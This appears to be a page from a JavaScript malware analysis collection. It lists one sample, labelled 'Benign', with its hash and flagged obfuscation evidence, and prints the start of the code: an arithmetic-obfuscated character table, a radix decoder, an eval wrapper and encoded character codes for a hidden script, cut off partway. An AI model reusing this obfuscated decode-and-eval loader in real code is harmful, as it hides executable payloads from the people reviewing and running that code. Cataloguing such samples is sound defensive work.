Benign javascript-malware-collection Download

20151208_31875312b057c5b6b37e89e50933e92a.js

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256d9ebc4537a3e99820eb90b980593751fac5c11b2fe3db56fd5d8a7afd31c7a41

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var nwmqtkZaJdvfz=[];for(FsmSBFB=(-932+932)/181;FsmSBFB<(77505+831)/612;FsmSBFB++){nwmqtkZaJdvfz[FsmSBFB]=String.fromCharCode(FsmSBFB)}function MbTbX(AoFvUzfYhLH,APJBgrdVwkCAt,IxEFTNYL){zPxq=parseInt(AoFvUzfYhLH,APJBgrdVwkCAt);lNJZs=zPxq.toString(IxEFTNYL);return lNJZs;}function xbVtHMkUbjnWmiF(ExmKLLpZVOXaEkgmy){eval(ExmKLLpZVOXaEkgmy)}
2function tzyqJEHnFiYQwZEVFtKZwxjgNBoXPaPlgxidBlKKLvgZGzpPLJacDW(LuQwRiYlInkom,vwfMXgLCVkPTaX){ return nwmqtkZaJdvfz[MbTbX(LuQwRiYlInkom[vwfMXgLCVkPTaX],(3624+436)/406,(6186+74)/626)];}
3function ciSjKRB(yjvDpBWlaGdAUkHtqJqKEzxSzWFyjaFsOIzC) {return !isNaN(parseFloat(yjvDpBWlaGdAUkHtqJqKEzxSzWFyjaFsOIzC)) && isFinite(yjvDpBWlaGdAUkHtqJqKEzxSzWFyjaFsOIzC);}
4function yvInDsvYnrs(BZDxIHIz,KPJdVZ){return BZDxIHIz.split(KPJdVZ)}
5var t=[];t.push("13");t.push("10");t.push("13");t.push("10");t.push("118");t.push("97");t.push("114");t.push("32");t. …